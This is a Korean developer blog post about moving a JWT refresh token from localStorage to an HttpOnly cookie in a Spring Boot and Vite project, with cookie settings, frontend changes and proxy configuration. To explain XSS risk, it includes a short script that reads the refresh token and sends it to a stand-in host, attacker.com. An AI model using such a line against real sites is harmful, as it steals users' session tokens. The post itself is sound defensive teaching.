본문 바로가기
-- 오늘 있었던 개발 일기

Refresh Token을 HttpOnly Cookie로 변경한 이유!

by code study 2026. 2. 12.

Refresh Token을 HttpOnly Cookie로 변경한 이유

문제 인식: localStorage는 안전한가?

기존 방식

기존에는 JWT 기반 인증에서 Access Token과 Refresh Token을 모두 localStorage에 저장했습니다.

// 기존 방식
localStorage.setItem('accessToken', accessToken);
localStorage.setItem('refreshToken', refreshToken);

개발 중 보안 검토를 하면서 한 가지 의문이 들었습니다.

"Refresh Token이 7일간 유효한데, localStorage에 저장해도 괜찮을까?"


XSS 공격의 위험성

XSS(Cross-Site Scripting) 공격 시나리오

XSS 공격이 발생하면, 악성 스크립트가 사용자 브라우저에서 실행됩니다.

// 악성 스크립트가 실행되면...
const stolenToken = localStorage.getItem('refreshToken');
fetch('https://attacker.com/steal', { 
  body: JSON.stringify({ token: stolenToken }) 
});

문제점

  • localStorage는 JavaScript로 자유롭게 접근 가능 → XSS 공격에 취약
  • Access Token: 30분 후 만료 → 피해 제한적
  • Refresh Token: 7일간 유효 → 탈취 시 일주일간 계정 접근 가능

해결책: HttpOnly Cookie

HttpOnly 속성의 특징

HttpOnly 속성이 설정된 쿠키는 JavaScript에서 접근할 수 없습니다.

// HttpOnly 쿠키는 JavaScript로 읽을 수 없음
document.cookie  // refreshToken이 보이지 않음

저장 방식 비교

저장 방식 JavaScript 접근   XSS 취약성
localStorage O O
HttpOnly Cookie X  X

구현: 백엔드에서 쿠키 설정

Spring Boot에서 로그인 응답 시 쿠키를 설정합니다.

// AuthController.java
ResponseCookie cookie = ResponseCookie.from("refreshToken", refreshToken)
    .httpOnly(true)       // JavaScript 접근 차단
    .secure(true)         // HTTPS에서만 전송
    .sameSite("Lax")      // CSRF 방어
    .path("/api/auth")    // 인증 경로에서만 전송
    .maxAge(7 * 24 * 60 * 60)  // 7일
    .build();

response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());

응답 구조

  • Body: Access Token만 반환
  • Set-Cookie 헤더: Refresh Token 전송

프론트엔드 변경

Refresh Token을 직접 다루지 않아 코드가 더 간결해졌습니다.

로그인 처리

// 변경 전: refreshToken을 직접 관리
const { accessToken, refreshToken } = response.data;
localStorage.setItem('refreshToken', refreshToken);

// 변경 후: refreshToken은 쿠키로 자동 관리
const { accessToken } = response.data;  // accessToken만 받음
// refreshToken은 브라우저가 쿠키로 자동 저장/전송

토큰 갱신

토큰 갱신 시에도 body 없이 요청하면 쿠키가 자동 전송됩니다.

// withCredentials로 쿠키 자동 전송
await axios.post('/api/auth/reissue', {}, { withCredentials: true });

개발 환경 이슈: Cross-Origin 쿠키

문제 상황

구현 후 테스트에서 문제가 발생했습니다.

  • 프론트엔드: localhost:3000
  • 백엔드: localhost:8888

SameSite=Lax 쿠키는 cross-origin AJAX 요청에서 전송되지 않습니다.

해결: Vite 프록시 설정

// vite.config.js
server: {
  proxy: {
    '/api': {
      target: 'http://localhost:8888',
      changeOrigin: true,
    }
  }
}

프록시를 통해 same-origin으로 인식되어 쿠키가 정상 전송됩니다.

브라우저 → localhost:3000/api → (프록시) → localhost:8888/api
           ↑ same-origin이므로 쿠키 전송됨

결론

변경 사항 요약

항목 변경 전 변경 후
Refresh Token 저장 localStorage HttpOnly Cookie
XSS 취약성 있음 없음
프론트엔드 코드 토큰 직접 관리 자동 관리

핵심 정리

  • HttpOnly Cookie를 사용하면 XSS 공격으로부터 Refresh Token을 보호할 수 있습니다.
  • 개발 환경에서 cross-origin 이슈가 있지만, 프록시 설정으로 해결 가능합니다.
  • 보안은 "나중에"가 아니라 처음부터 고려해야 합니다.

추가 고려사항

Access Token은 왜 localStorage에 두는가?

  • Access Token은 API 요청마다 헤더에 포함해야 함
  • JavaScript에서 접근 가능해야 Authorization: Bearer 헤더 설정 가능
  • 짧은 만료시간(30분)으로 XSS 피해 최소화

CSRF 공격은?

  • SameSite=Lax 설정으로 대부분의 CSRF 공격 방어
  • Refresh Token은 /api/auth 경로에서만 사용 (path 제한)
  • 추가 보호를 원하면 CSRF 토큰 도입 가능

운영 환경 배포 시 주의사항

ResponseCookie cookie = ResponseCookie.from("refreshToken", refreshToken)
    .httpOnly(true)
    .secure(true)         // 운영: HTTPS 필수!
    .sameSite("Strict")   // 운영: Strict로 변경 권장
    .domain(".mysite.com") // 서브도메인 공유 시
    .path("/api/auth")
    .maxAge(7 * 24 * 60 * 60)
    .build();
  • secure(true): 반드시 HTTPS 환경 필요
  • sameSite("Strict"): 더 강력한 CSRF 방어 (운영 환경 권장)
  • domain 설정: 서브도메인 간 쿠키 공유 시 명시